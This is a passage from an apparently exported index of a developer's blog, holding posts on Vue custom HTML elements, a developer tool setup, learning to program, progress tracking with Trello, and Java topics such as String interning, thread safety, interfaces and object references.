environment in which to build and deploy the tags you will be creating.\n","title":"Setting up a Vue CLI project for building Custom HTML Elements","type":"posts"},{"content":"As I\u0026rsquo;ve been looking at how to structure my JavaScript in my applications using modern JavaScript frameworks, I keep running into the same issue. I want to use component-based design, but I\u0026rsquo;m not always looking to build a Single Page Application. Sometimes, I just want to add a component onto a page that isn\u0026rsquo;t tied to the framework at all.\nIn a framework like Angular, that\u0026rsquo;s fairly impossible. I\u0026rsquo;ve always seen Angular as an all or nothing framework. It\u0026rsquo;s either all Angular or none of it is. And if I have a legacy application that I want to upgrade little by little, all or nothing isn\u0026rsquo;t what I\u0026rsquo;m looking for.\nVue labels itself as an \u0026ldquo;incrementally adoptable\u0026rdquo; framework for modern JavaScript components. I\u0026rsquo;ve found this to be generally true but I\u0026rsquo;ve been struggling a bit on how best to incrementally adopt it. Do I just start creating Vue instances and put all my JavaScript in there? Do I build components and then try to figure out how to get that started with my current big application? How do I not load all the components for every page when my pages only use a small subset of components? Does that mean I have to give up my idea of a global JavaScript file and now create a JavaScript file for each page? And isn\u0026rsquo;t that what I\u0026rsquo;m trying to avoid?!?\nWhen playing around with the Vue CLI, I noticed that there was an option to build the Vue components as native web components. Trying to figure out what that means, I dove into the documentation.\nWeb Components Standard # The Web Components Standard is a standard that\u0026rsquo;s been adopted by the major browsers as a way for developers to create their own HTML elements.\nThis may sound strange at first and not very useful. Why would we want to create a new \u0026lt;div\u0026gt; or \u0026lt;p\u0026gt; tag? But there are some HTML elements that have a lot of useful functionality behind them, like \u0026lt;video\u0026gt;, \u0026lt;canvas\u0026gt;, and even the \u0026lt;select\u0026gt; element.\n\u0026lt;select\u0026gt; is actually built with a number of cool features. By default, you can define a select box and a number of \u0026lt;option\u0026gt;s and the browser knows to show that to the user as a dropdown selection and to limit the user to only selecting one. If you pass the attribute multiple, the functionality changes to allow the user to pick more than one option and displays the control as a scrollbox rather than a dropdown.\nThis shows just how complex simple components can be. They have structure (a select contains options), presentation (shows as a dropdown or scrollbox), and logic (user input is validated on whether they can select multiple options or not). This functionality sounds a lot like JavaScript components!\nConstructing a simple custom elements # If you know how to build a component in Vue, you already know how to build a custom HTML element, just make a new standalone Vue component!\nSince Vue components are used as if they were HTML elements, if you build a standard single file component in Vue, you can export that as a new HTML element from your project.\nI hope to walk through this process in another post, but we can take a look at a quick example now.\nI remember the wonder years of 1999 web development. Anything was possible then, including the wonderful \u0026lt;blink\u0026gt; tag. Sadly, every browser killed this poor tag some time ago, but we can bring it back in fashion!\nBelow, I define a new component that will take whatever is between its tags and blink it. Just like the good ol\u0026rsquo; days!\n\u0026lt;template\u0026gt; \u0026lt;span ref=\u0026#34;blinkyText\u0026#34;\u0026gt;\u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#34;blink\u0026#34;, mounted() { setInterval(() =\u0026gt; { this.$refs.blinkyText.classList.toggle(\u0026#34;onoff\u0026#34;); }, 500); } }; \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; .onoff { visibility: hidden; } \u0026lt;/style\u0026gt; I can then compile this into a custom HTML element using the VueCLI and deploy it to any old webpage, even this one!\nParty Like It\u0026rsquo;s 1999!!!\nThis tag is decoupled from any framework or other JavaScript. You don\u0026rsquo;t need a main.js or anything else to mount this tag or get it started. You just include the Vue JavaScript file, your tag JavaScript file, and then use the tag like any other HTML tag!\nFuture articles will cover more # I\u0026rsquo;ll eventually write up a couple of articles around how to build this style of Vue component and how to tie it into Vuex to allow these components to talk to each other. Here are some that are already done:\nSetting up a Vue CLI project for building custom HTML elements Building custom elements from Vue CLI ","date":"3 March 2019","externalUrl":null,"permalink":"/what-are-custom-html-elements/","section":"Posts","summary":"As I’ve been looking at how to structure my JavaScript in my applications using modern JavaScript frameworks, I keep running into the same issue. I want to use component-based design, but I’m not always looking to build a Single Page Application. Sometimes, I just want to add a component onto a page that isn’t tied to the framework at all.\n","title":"What are custom HTML elements?","type":"posts"},{"content":"Having been a web developer for over 20 years, I\u0026rsquo;ve gone through a lot of tools and IDEs over the years. As 2019 kicks off, I thought I would document my current development environment for anyone who\u0026rsquo;s interested in what I use. As a note, I mainly work with PHP using the Laravel framework, JavaScript writing Riot and Vue components and deploy to a WebFaction cloud server.\nOS - Xubuntu 18.04.1 # I\u0026rsquo;m a big fan of Linux ever since I moved to it 15 years ago after getting tired of how locked down the Mac OS was. Linux gives me an environment that mimics the kind of environment my applications run in and gives me easy ways to get those applications up and running locally.\nIt\u0026rsquo;s also super light weight but still completely functional. I don\u0026rsquo;t have to spend $1,000+ on a laptop when I can grab a Dell and have more than enough power to do everything that I need to do for my programming.\nSince a lot of applications for developers are now written using Electron, more and more essential apps are running in Linux and I never dual boot to any other OS in a given day. Once you get used to the applications, Linux is more than enough for a programmer to work how they need to.\nIDE - Visual Studio Code # My current IDE for all things that I create is Visual Studio Code. Visual Studio Code is cross platform and so are all of the great extensions. I use it for PHP/Laravel development using the extensions:\nlaravel-blade PHP Intelephense JavaScript/Vue development with:\nVetur ESLint Live Server Java development with:\nJava Extension Pack Tomcat for Java And general prose writing using Markdown with:\nCode Spell Checker Markdown PDF WordCounter And the following extensions to round out the environment:\nEditorConfig for VS Code Material Icon Theme Rainbow Brackets Todo Tree VS Live Share VS Live Share Audio Simple Vim These tools give me editing, code highlighting, intellisense, debugging and a full project environment for all the languages that I program in. I\u0026rsquo;ve tried some of the other tools out there, like PhpStorm and Eclipse, but I keep coming back to VS Code because of it\u0026rsquo;s simplicity and power.\nYou could do worse than to start here. And, in fact, the Visual Studio Code website has a number of pages that guide you through what to install in order to start programming in a certain language.\nBrowser - Firefox # I\u0026rsquo;m a big fan of keeping the web open and so I use Firefox. Mozilla, the organization that manages Firefox development, is not an ad company and doesn\u0026rsquo;t try to change the web to extract ever more personal information from their users.\nAlso, the browser is great! It has a suite of developer tools built into it, including a JavaScript debugger and some nice tooling around CSS. I also have the following extensions installed:\nRESTED Markdown Here uBlock Origin OneTab Vue Devtools Command Line Tools # Most of my other tools live in the command line. I\u0026rsquo;m very comfortable here, but I know not everyone is. I\u0026rsquo;ll try to point you to some windowed applications if good alternatives are available.\nGit # Git is the main source control application I use to version my code and push to repositories on BitBucket or GitHub. A good alternative to the command line git is the extension that ships with VS Code (which I do use quite often for simple git operations) and GitKraken.\nNode # Node is a command line JavaScript interpreter, but has a lot of responsibilities now in the world of web development. It\u0026rsquo;s used to run a lot of the tools used in major JavaScript frameworks, like Angular and React. And Vue.\nAlso included in Node is NPM, which is a manager for all the tools that can be installed using Node.\nVue Command Line # One Node application that I use quite a bit is the Vue CLI. The Vue command line tools allow me to very quickly start up a new Vue-based project. Since working through a Vue project can require a lot of moving parts, having a tool that can get it all set up and configured for me is invaluable.\nThere are many others, but this is the main toolset that I use in a day. Going through everything I have installed would be near impossible, but these are the main tools that I use, and it\u0026rsquo;s probably much different than the next developer. Everyone kind of collects their own assortment of tools, and this is mine.\nI would like to talk more about tools. I think with the explosion of tools out there to use, it can be hard for a new developer to know what they need and what they should get into. Honestly, the only way that I got this specific collection of tools was from a lot of trial and error. Start here, and see where you go from there.\n","date":"11 January 2019","externalUrl":null,"permalink":"/my-current-and-completely-free-developer-tools-setup/","section":"Posts","summary":"Having been a web developer for over 20 years, I’ve gone through a lot of tools and IDEs over the years. As 2019 kicks off, I thought I would document my current development environment for anyone who’s interested in what I use. As a note, I mainly work with PHP using the Laravel framework, JavaScript writing Riot and Vue components and deploy to a WebFaction cloud server.\n","title":"My Current (and Completely Free) Developer Tools Setup","type":"posts"},{"content":"","date":"11 January 2019","externalUrl":null,"permalink":"/categories/web-development-learning/","section":"Categories","summary":"","title":"Web Development Learning","type":"categories"},{"content":"","date":"11 October 2018","externalUrl":null,"permalink":"/categories/boring/","section":"Categories","summary":"","title":"Boring","type":"categories"},{"content":"I\u0026rsquo;m sure you\u0026rsquo;ve run into it while trying to learn programming. You find a shiny new tutorial or video course and you dive in with excitement. Finally, this will be the one that sticks.\nAnd then you hit a brick wall. The boredom kicks in and you lose focus on what you\u0026rsquo;re doing. Soon, you completely lose track of whatever it was that you were supposed to be learning and you stop the course completely, adding it to the growing pile of half finished materials in your bookmarks folder.\nLosing focus is one of the biggest reasons that many students give for not learning to code. Well, they actually say that learning to program is boring. And yet they still really want to learn to program. There is a disconnect here, and a lot of that disconnect is in motivation.\nFirst, the sad truth; first learning to program is boring. There are a lot of low level things that you must learn before you can anything useful. Variables, arrays, if statements; you can\u0026rsquo;t do much until you learn these basic concepts. But, once you learn those, the real secret to learning how to program is to program something real.\nThe real secret to learning how to program is to program something real.\nFight boredom through Personal Projects # The most successful students I\u0026rsquo;ve had all had a personal project that they were doing as part of their coursework. One was a personality test to see what kind of Magic: The Gathering wizard you were. Another was a calculator for a home run derby game the student was a part of. I had another student that wrote a quiz application for a self-help book they had written. Anything works as long as you are interested in the outcome.\nWhat are your hobbies? What is something that you think would be fun, or cool, or useful. Pick a small, doable part of that and make it with whatever you know now. Don\u0026rsquo;t think about how great it will be once you know X or Y, just do it now in the simplest way possible.\nOne amazing thing about the projects listed above, none of them were written once and then thrown away. First, my students wrote them as little command line programs as we learned the basics. Then, when we learned SQL databases, they saved the information in database tables. When we learned web programming, they added a front-end to the code, sometimes rewriting it entirely. It\u0026rsquo;s all good! It\u0026rsquo;s software! That\u0026rsquo;s what you\u0026rsquo;re supposed to do!\nSo grab a project. Take what you\u0026rsquo;re learning and try to apply it to something you love and that will motivate you to do it more. (It\u0026rsquo;ll also make a great portfolio piece, like it did for my students!)\nAnd if you can\u0026rsquo;t come up with a project on your own, send me a list of your favorite hobbies and I\u0026rsquo;ll try to come up with something that will keep you motivated enough to learn more.\n","date":"11 October 2018","externalUrl":null,"permalink":"/how-can-you-make-learning-programming-less-boring/","section":"Posts","summary":"I’m sure you’ve run into it while trying to learn programming. You find a shiny new tutorial or video course and you dive in with excitement. Finally, this will be the one that sticks.\n","title":"How can you make learning programming less boring?","type":"posts"},{"content":"","date":"11 October 2018","externalUrl":null,"permalink":"/categories/learning-programming/","section":"Categories","summary":"","title":"Learning Programming","type":"categories"},{"content":"","date":"25 September 2018","externalUrl":null,"permalink":"/categories/java/","section":"Categories","summary":"","title":"Java","type":"categories"},{"content":"","date":"25 September 2018","externalUrl":null,"permalink":"/categories/problem-solving/","section":"Categories","summary":"","title":"Problem Solving","type":"categories"},{"content":"Here\u0026rsquo;s a video I put together about Problem Solving. I think this is one of those topics that beginning programmers struggle the most with sometimes and this demonstrates a couple of techniques you can use to help you solve programming problems.\nI tackle the sumDouble and sleepIn problems from CodingBat.com.\n","date":"25 September 2018","externalUrl":null,"permalink":"/problem-solving-in-programming-with-if-and-logic-statements/","section":"Posts","summary":"Here’s a video I put together about Problem Solving. I think this is one of those topics that beginning programmers struggle the most with sometimes and this demonstrates a couple of techniques you can use to help you solve programming problems.\n","title":"Problem Solving in Programming with if and Logic Statements","type":"posts"},{"content":"","date":"25 September 2018","externalUrl":null,"permalink":"/categories/video/","section":"Categories","summary":"","title":"Video","type":"categories"},{"content":"Learning programming to the level of being able to create web applications or work in the field can take a lot of time and effort. But what if you don\u0026rsquo;t like it? What if you spend all that time and effort and it ends up that you hate programming and never want to see its ugly face again?\nI hate to say it, but this can happen. I\u0026rsquo;ve seen it happen. I\u0026rsquo;ve worked with a couple of developers who went through the whole schooling thing, got a job and found that they couldn\u0026rsquo;t stand to sit in front of a computer all day, solving stupid, fiddly computer problems. (Their terms, not mine. I like solving stupid, fiddly computer problems.)\nSo how can you find out if this is something you\u0026rsquo;ll enjoy before plowing six months to a year of your life into learning it?\nTake a Taste Test # Before diving into a bunch of different areas of study, I can tell you that ninety-nine times out of a hundred, the people that don\u0026rsquo;t like programming don\u0026rsquo;t like it because they don\u0026rsquo;t like solving programming problems. There\u0026rsquo;s a lot of mental work that goes into programming and some people don\u0026rsquo;t find the mental work interesting or rewarding. There\u0026rsquo;s nothing wrong with that. I don\u0026rsquo;t find solving social problems that rewarding but, thankfully, there are people out there that do.\nSo, how do you find out if you like mental challenges like the ones you\u0026rsquo;ll find in programming? By doing mental challenges! Here are two quick ways to do that.\nTake a Programming Crash Course # There is a great book to work through if you want to dip your toes in the water of programming and it\u0026rsquo;s 100% free and online. That book is Automate the Boring Stuff with Python. The awesome thing about this book is that it is half primer in the Python language and half practical application of what you learned. It won\u0026rsquo;t teach you everything about programming\u0026ndash;or even everything about Python\u0026ndash;but will give you just enough to be able to dive in and solve some real life problems using programming. If you enjoy working through this book and\u0026ndash;more importantly\u0026ndash;enjoy applying these lessons to your own computing problems, then there\u0026rsquo;s a pretty good chance that diving deeper into programming may be for you. It also doesn\u0026rsquo;t hurt that the book is a great first step into the Python programming language, a language that is gaining a lot of popularity in the web development and AI worlds.\nGo to Camp # Another great website to learn coding from is FreeCodeCamp. I would recommend working through the JavaScript Algorithms and Data Structures Certification at least up until the Basic Algorithm Scripting section. This will teach you the most popular language in web programming today\u0026ndash;JavaScript. It will also let you flex your muscles and start solving what programmers call algorithms. A algorithm is just a fancy way of saying \u0026ldquo;a piece of code that solves a certain problem\u0026rdquo; and that\u0026rsquo;s the main thing most programmers do on a day to day basis. If you work through this and see it as pain rather than pleasure? You probably wouldn\u0026rsquo;t want to do it all day, every day either.\nTry one of these sites\u0026ndash;heck, try them both\u0026ndash;and if you aren\u0026rsquo;t having fun or feeling like you\u0026rsquo;re accomplishing something while doing them, I would recommend not becoming a programmer. If you do like doing them, then setting up a real training regimen and tracking your progress is your next step to success.\n","date":"28 July 2018","externalUrl":null,"permalink":"/how-will-you-know-if-youll-like-programming/","section":"Posts","summary":"Learning programming to the level of being able to create web applications or work in the field can take a lot of time and effort. But what if you don’t like it? What if you spend all that time and effort and it ends up that you hate programming and never want to see its ugly face again?\n","title":"How Will You Know if You'll Like Programming?","type":"posts"},{"content":"","date":"28 July 2018","externalUrl":null,"permalink":"/categories/python/","section":"Categories","summary":"","title":"Python","type":"categories"},{"content":"","date":"28 July 2018","externalUrl":null,"permalink":"/categories/web-development/","section":"Categories","summary":"","title":"Web Development","type":"categories"},{"content":"Learning programming can often feel like you\u0026rsquo;re running as fast as you can and getting nowhere fast. The minute you feel like you have something figured out, five more things pop up that you need to learn before you can even do anything useful.\nMeasuring programming progress is extremely hard to do. It doesn\u0026rsquo;t come naturally to humans to measure progress of a mental skill. Programming is a very mental skill. It often feels like nothing is happening and\u0026ndash;since we move on to new topics every day\u0026ndash;that you\u0026rsquo;re constantly behind everyone else.\nPhysical skills are much easier to judge. You can see yourself getting better at painting. You can see your woodworking getting better. That pile of wood you are chopping is dwindling while the pile of chopped wood is stacking up. Visible progress!\nSadly, programming doesn\u0026rsquo;t really have a nice visible way of figuring that out. We could look at projects, but as we all know, half finished projects look more like failures than progress. Lines of code? Lines of code is just a number, not a clear indication of what you learned.\nSo what does work?\nMake it Visible # Physical progress feels so rewarding because it is visible. So make your progress learning programming visible as well.\nOne of the best ways to do this is via todo lists. I would recommend using Trello. It\u0026rsquo;s the go to tool for many programmers to track progress on projects large and small.\nTrello gives us a couple of ways to track progress and using all of them together will help give you a full view of your progress as you continue on your journey.\nCreate a Board # Create a new board and call it \u0026lsquo;Programming Progress\u0026rsquo;. Then create three lists; \u0026lsquo;Want to Learn\u0026rsquo;, \u0026lsquo;Learning\u0026rsquo; and \u0026lsquo;Learned\u0026rsquo;. These are your 10,000 foot view of your programming journey. At first, everything may be in the \u0026lsquo;Want to Learn\u0026rsquo; list. That\u0026rsquo;s okay! We all start somewhere.\nOur 10,000 foot view of our progress\nTopic Cards # Now add a card for each language or library you want to learn. That could be \u0026lsquo;Python\u0026rsquo; or \u0026lsquo;React\u0026rsquo; or \u0026lsquo;WordPress Development\u0026rsquo; or even \u0026lsquo;Algorithms\u0026rsquo;. The key is that these are major Topics of learning. All of these cards go into the \u0026lsquo;Want to Learn\u0026rsquo; list. Don\u0026rsquo;t go crazy on this yet. You can always add more topics to this in the future and having too many cards here can be more depressing than helpful.\nAlso remember when filling this list out what order things need to be learned in. You\u0026rsquo;ll need to learn \u0026lsquo;JavaScript\u0026rsquo; before you can learn \u0026lsquo;React\u0026rsquo;, for instance. Focus on the topics you need now, you can always add more later.\nChecklist of Learning # Now, go find a good tutorial on that Topic. For Python, maybe you\u0026rsquo;ll decide to learn via The Python Guru site. I\u0026rsquo;ll use that example here.\nFirst, take the link to the tutorial and add it as the description for the card. That way\u0026ndash;when you come back later after taking a break\u0026ndash;you\u0026rsquo;ll have a link directly to the tutorial you were working on.\nGo to the table of contents for that tutorial. Make a new checklist in your Topic card and add an item for every section of the tutorial.\nOur progress in learning Python\nWe now have a progress tracker! As you complete the sections on the tutorial, check them off the list and the progress meter will advance. When you look at the main board view, you\u0026rsquo;ll also see how many sections you\u0026rsquo;ve finished right on the front of the card.\nUse this as your main learning dashboard. And feel good as check boxes get checked and cards move from left to right through the list.\nLearning programming is hard, but keeping your motivation up by making your progress visual will certainly help you along the way.\n","date":"21 July 2018","externalUrl":null,"permalink":"/measure-progress-learning-programming/","section":"Posts","summary":"Learning programming can often feel like you’re running as fast as you can and getting nowhere fast. The minute you feel like you have something figured out, five more things pop up that you need to learn before you can even do anything useful.\n","title":"How to Measure Your Progress While Learning Programming","type":"posts"},{"content":"","date":"21 July 2018","externalUrl":null,"permalink":"/categories/measuring-progress/","section":"Categories","summary":"","title":"Measuring Progress","type":"categories"},{"content":"So Strings are built for optimisation, but are you using it in an optimised way? If you understand interning and immutability, you can start looking at ways to use those features to your advantage.\nHow to Waste Memory Without Really Trying # Thinking about a String\u0026rsquo;s immutability, let\u0026rsquo;s look at String concatenation:\nString name = getName(); //Returns \u0026#34;Joe\u0026#34; String a = \u0026#34;Welcome \u0026#34;; a += name; a += \u0026#34;, Good to See You.\u0026#34;; Okay, how many Objects did we create?\nSeven. One for name , one for \u0026quot;Welcome \u0026quot; when first assigned to a , one for \u0026quot;Welcome Joe\u0026quot; on the first concatenation, one for \u0026quot;, Good to See You.\u0026quot; , and one for the final String assigned to a, \u0026quot;Welcome Joe, Good to See You.\u0026quot; . Not only does it create all those Strings, it also creates two StringBuffer Objects. Since you can\u0026rsquo;t change a String, the JVM needs to create an object that allows you to concatenate Strings. So for:\na += name; the JVM creates a StringBuffer Object that equals a , appends name and then converts back to a String and assigns it to a .\nIn fact, for every += you see, there is a StringBuffer Object (a rather expensive object to create) that is being created, used for one operation, and then being thrown away. And that happens every time this code it run. That adds up quick on a busy program and will make the Garbage Collector run much more often than it should.\nA better way to do this would be:\nStringBuffer buffer = new StringBuffer(); buffer.append(\u0026#34;Welcome \u0026#34;); buffer.append(getName()); buffer.append(\u0026#34;, Good to See You.\u0026#34;); String a = buffer.toString(); Not only does this create less Objects, is also calls less functions during the process. This is important enough that the compiler tries to do some of this for you. The below example is equal to the StringBuffer example:\nString a = \u0026#34;Welcome \u0026#34; + getName() + \u0026#34;, Good to See You.\u0026#34;; And when I say equal, I mean exactly equal. The resulting bytecode is exactly the same. This is because we\u0026rsquo;re using +, which the compiler converts to a StringBuffer first.\nSo the key is, Never use += with Strings. Use a StringBuffer instead.\nAgain, Again # One more point that has to do with interning. Interning only works with String literals like:\nString a = \u0026#34;Welcome \u0026#34;; If you create a String like this is won\u0026rsquo;t be interned:\nString a = new String(\u0026#34;Welcome \u0026#34;); This actually creates two Strings; one that\u0026rsquo;s interned and one that\u0026rsquo;s not. Do you need two Strings equal to \u0026quot;Welcome \u0026quot; ? No, you don\u0026rsquo;t, so Never create a String with a constructor (new String()).\nFor more info, see http://www.javaworld.com/javaworld/jw-03-2000/jw-0324-javaperf.html\n","date":"9 February 2017","externalUrl":null,"permalink":"/java-unstrung/","section":"Posts","summary":"So Strings are built for optimisation, but are you using it in an optimised way? If you understand interning and immutability, you can start looking at ways to use those features to your advantage.\n","title":"Java: Unstrung","type":"posts"},{"content":"One of the fundamental data types in Java is the String. In fact, it\u0026rsquo;s used so often that most people don\u0026rsquo;t even think much about what a String is or how it works. But a String Object works like no other object in Java in two important ways; immutability and internment.\nYou Can\u0026rsquo;t Touch This # Immutability means that an object can\u0026rsquo;t be changed. Ever. You can\u0026rsquo;t modify any of its values in any way.\nWhile this might not sound very useful, it actually allows Java to optimize how it handles Strings \u0026ndash; which is important since they\u0026rsquo;re used so much in the language \u0026ndash; and brings a sense of security to using Strings. As we saw last week, when Objects are changeable, weird side effects can pop up when one variable changes an Object and all the other variables see the change and don\u0026rsquo;t know what happened.\nStrings sidestep this issue by never allowing you to change a String in place. In programming parlance, this means Strings never have side effects. So in this operation:\nString a = \u0026#34;hello\u0026#34;; String b = a; b = b.toUpperCase(); a and b are now pointing to two different String Objects. a is pointing to the original String of \u0026quot;hello\u0026quot; while b is pointing to a copy that\u0026rsquo;s all uppercase of \u0026quot;HELLO\u0026quot; . Even though a and b were pointing to the same String originally, the method toUpperCase() makes a copy and assigns the copy to b . This leaves a untouched.1\nThis property allows Strings to do another cool trick. They can Intern.\nLowly Paid College Students? # Interning is a method where you cache objects in memory to speed up creation of those objects. What that means is, all String literals are interned, and if you define the same literal, it will actually be the same Object. A little illustration:\nString a = \u0026#34;hello\u0026#34;; String b = \u0026#34;hello\u0026#34;; It looks like a and b are pointing to two different Objects, but they\u0026rsquo;re not. Here\u0026rsquo;s why.\nWhen Java sees the \u0026quot;hello\u0026quot; for variable a , it creates a new String Object with the value and assigns the reference to a . It then saves that Object in a table in memory, also called interning.\nThen Java sees that b is getting a String with the value \u0026quot;hello\u0026quot; . It checks it\u0026rsquo;s intern table and sees it already has that Object created. Since Strings can\u0026rsquo;t be changed, it doesn\u0026rsquo;t hurt to just give that Object reference to b too, and so it does. Even though the programmer didn\u0026rsquo;t explicitly say so, a and b are now pointing to the same Object in memory.\nIn fact, Java is so good at this, it\u0026rsquo;ll assign to same Object to these variables too:\nString c = \u0026#34;hel\u0026#34; + \u0026#34;lo\u0026#34;; String d = \u0026#34;h\u0026#34; + \u0026#34;e\u0026#34; + \u0026#34;l\u0026#34; + \u0026#34;l\u0026#34; + \u0026#34;o\u0026#34;; String is the only Class in Java that does interning in the JVM.\nNext week we\u0026rsquo;ll talk about how to use this knowledge to build better programs. (Hint: it has to do with memory management.)\nStrings aren\u0026rsquo;t the only Objects that do this in Java. Can you think of any others?\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"2 February 2017","externalUrl":null,"permalink":"/java-unchangeable-string/","section":"Posts","summary":"One of the fundamental data types in Java is the String. In fact, it’s used so often that most people don’t even think much about what a String is or how it works. But a String Object works like no other object in Java in two important ways; immutability and internment.\n","title":"Java: The Unchangeable String","type":"posts"},{"content":"Another blast from the past.\nIf you\u0026rsquo;re working with Servlets or in a Threaded environment, you need to be thinking about thread safety.\nThread Bare # Java has built in support for multiple threads in all its objects. The way it handles this, is each thread can get a handle on the object and run its methods at the same time which, for something like a servlet, cuts down on the amount of memory needed to load the servlets and the amount of time needed to instantiate multiple objects. This can be a huge improvement in performance for web-based applications.\nBut what does it mean when objects are used by multiple threads? To answer that, we\u0026rsquo;ll need to look at variable scoping.\nScoping It Out # Let\u0026rsquo;s look at a simple example:\nclass Example { int a; public int scopedMethod(int b) { int c = 10; a = c + b; return a; } } When an object is created from this class, that object will have two things in scope; the variable a and the method scopedMethod . The variables b and c don\u0026rsquo;t even exist until the method scopedMethod is called.\nWhat does this mean for threads? If multiple threads use the same object, like for JEE Servlets, they will share things that are in the object scope when it\u0026rsquo;s created. So all threads will share the variable a and the method scopedMethod . Sharing methods is okay since every thread will create it\u0026rsquo;s own execution stack when it calls the method. That means every thread will own the variables b and c when scopedMethod gets called.\nBut what about variable a ?\nCrossing the Streams # Imagine two threads executing at nearly the same exact moment; we\u0026rsquo;ll call them thread 1 and thread 2. Thread 1 calls scopedMethod and passes in 50 to b . Thread 2 then calls scopedMethod at the same time, passing 700 to b . Since both threads have their own variable b , this doesn\u0026rsquo;t cause any problems. Now, thread 1 creates variable c and calls a = c + b; . Then, thread 2 will create it\u0026rsquo;s own variable c and call a = c + b;\nNow a equals 710 in both threads. Since the threads share the variable a , both threads will now return 710, which is obviously wrong for thread 1. Imagine if this was a servlet and a contained sensitive customer data for two different customers. Now, both customers would see the data for the customer in thread 2!\nS - A - F - E - T - Y, Thread Safety # Don\u0026rsquo;t use instance variables in multithreaded objects.\nIn a servlet environment, if you have data you need to store \u0026ldquo;globally\u0026rdquo; for this thread or user request, use the session or request objects. There shouldn\u0026rsquo;t be a need for changeable instance variables. If you have constants in the class that don\u0026rsquo;t change, it should be okay to make those instance variables, but declare them as static and final to make sure that they never change and all threads get the same value from them.\nAnd remember, you won\u0026rsquo;t see threading problems in testing. When your application is being tested, it\u0026rsquo;s usually by one person on the system by themselves and they will never hit a threading issue here. You will only see threading issues in real world situations, when there are so many people hitting the application that your object will be executed twice at the exact same time. You can\u0026rsquo;t rely on testing to find these problems for you, you\u0026rsquo;ll need to do it as you develop your application.\nFor more info, see http://www.javaworld.com/javaworld/jw-07-2004/jw-0712-threadsafe.html\n","date":"26 January 2017","externalUrl":null,"permalink":"/thread-safety-dance/","section":"Posts","summary":"Another blast from the past.\nIf you’re working with Servlets or in a Threaded environment, you need to be thinking about thread safety.\nThread Bare # Java has built in support for multiple threads in all its objects. The way it handles this, is each thread can get a handle on the object and run its methods at the same time which, for something like a servlet, cuts down on the amount of memory needed to load the servlets and the amount of time needed to instantiate multiple objects. This can be a huge improvement in performance for web-based applications.\n","title":"Thread Safety Dance","type":"posts"},{"content":"Yet another article from the archives. Hope it\u0026rsquo;s useful.\nThere is a common Object Oriented axiom that says \u0026ldquo;Program to the Interface and not to the Implementation\u0026rdquo;. But what does that mean and why is it useful?\nConcrete Shoes # Let\u0026rsquo;s say that we have a class that calculates the number of Strings that begin with S in a list:\nclass Begins { public static int calcBeginsWithS(ArrayList words) { Iterator iter = words.iterator(); int answer = 0; while(iter.hasNext()) { String word = (String) iter.next(); if(word.startsWith(\u0026#34;S\u0026#34;)) { answer++; } } return answer; } } This function works great as long as we\u0026rsquo;re only working with ArrayList . But an ArrayList is a concrete class; it\u0026rsquo;s an implementation of the List interface. There\u0026rsquo;s nothing in our function that specifically requires using ArrayList and so we\u0026rsquo;ve crippled what we can do to this class and how it can be used. We\u0026rsquo;ve prevented ourselves from using this in a number of other cases for no real reason.\nTalk to the Interface # Someone may want to call this function with a String[] , but won\u0026rsquo;t be able to until they get that String[] into an ArrayList. But that\u0026rsquo;s an extra object you have to create, along with shoving all of the String objects into it, that you\u0026rsquo;ll just throw away afterwards. But if we change our method to accept List instead:\npublic static int calcBeginsWithS(List words) and we have a String[] words , we can call it like this:\nint count = Begins.calcBeginsWithS(Arrays.asList(words)); We might also need to update legacy code that uses Vector . (Remember those!) Sun has discouraged the use of Vector , but they have retrofitted the List interface onto it. If your function accepts List instead of ArrayList , you could use it with legacy code that uses Vector too.\nBut why stop there? If you used:\npublic static int calcBeginsWithS(Collection words) You can now use this method with Set and Queue and Stack and it will still work. We\u0026rsquo;ve made the function support every Collection type in the language and it really didn\u0026rsquo;t cost us a thing. I\u0026rsquo;ve personally run into libraries a number of times that only supported List but, with one simple interface change, could have supported the Set that I needed to use with it.\nSo, when you code something, be sure to ask yourself \u0026ldquo;Do I really need to code this to a concrete class, or can I use an interface instead?\u0026rdquo; Walk up that interface tree and see what\u0026rsquo;s the highest level interface your code can support. You may be able to make your code more powerful by just changing a single word.\n","date":"19 January 2017","externalUrl":null,"permalink":"/programming-to-interfaces/","section":"Posts","summary":"Yet another article from the archives. Hope it’s useful.\nThere is a common Object Oriented axiom that says “Program to the Interface and not to the Implementation”. But what does that mean and why is it useful?\n","title":"Programming to Interfaces","type":"posts"},{"content":"This is an article I wrote a while ago, but is still relevant to many languages still in use. Figured I\u0026rsquo;d repost it to this blog.\nMany of you may have learned the following in Java 101, but I thought I\u0026rsquo;d repeat it just in case.\nMost of the variables you\u0026rsquo;ll use in Java are going to be Objects. So in the following code, we\u0026rsquo;re creating three Objects:\nBigDecimal number = new BigDecimal(\u0026#34;9.5\u0026#34;); String welcome = \u0026#34;Hello\u0026#34;; Connection conn = DriverManager.getConnection(props); The first case is using the standard constructor of a Class to create an Object, the second is creating a String via a String literal, and the third is creating an Object via a Factory (an Object that creates other Objects). All of these create an Object and puts it in the variable to the left.\nExcept I\u0026rsquo;m lying. Do you know where I\u0026rsquo;m lying?\nLittle Errand Boys # number , welcome , and conn aren\u0026rsquo;t holding Objects, they\u0026rsquo;re holding references to Objects. These are called pointers because they \u0026ldquo;point\u0026rdquo; to an Object and don\u0026rsquo;t actually do anything except pass messages along to the Object they\u0026rsquo;re pointing at. They\u0026rsquo;re basically the Objects\u0026rsquo; errand boys. When you say something like:\nnumber.toString(); You\u0026rsquo;re basically saying \u0026ldquo;Hey, errand boy. Go ask your Object what its string value is and then let me know.\u0026rdquo; That becomes important when you consider that you can do this:\nBigDecimal sameNumber = number; sameNumber is now pointing to the exact same Object as number . That means that one Object has two errand boys. If I tell one errand boy to change the Object, then the other errand boy sees the change too, because it\u0026rsquo;s the same Object! This can be confusing if you\u0026rsquo;re not expecting it.\nCha-Cha-Cha-Changes # This has important repercussions when looking at methods calls. For instance:\npublic static void addItem(List listToAdd){ listToAdd.add(\u0026#34;Hello\u0026#34;); } List group = new ArrayList(); System.out.println(group.isEmpty()); // Prints true addItem(group); System.out.println(group.isEmpty()); // Prints false So even though our code didn\u0026rsquo;t add anything to the List Object, listToAdd() did. Since they point to the same Object, both errand boys see the change. This is very important to remember when coding in Java.\nRemember: Multiple variables can point to the same Object, so be careful changing them!\n","date":"12 January 2017","externalUrl":null,"permalink":"/a-couple-pointers/","section":"Posts","summary":"This is an article I wrote a while ago, but is still relevant to many languages still in use. 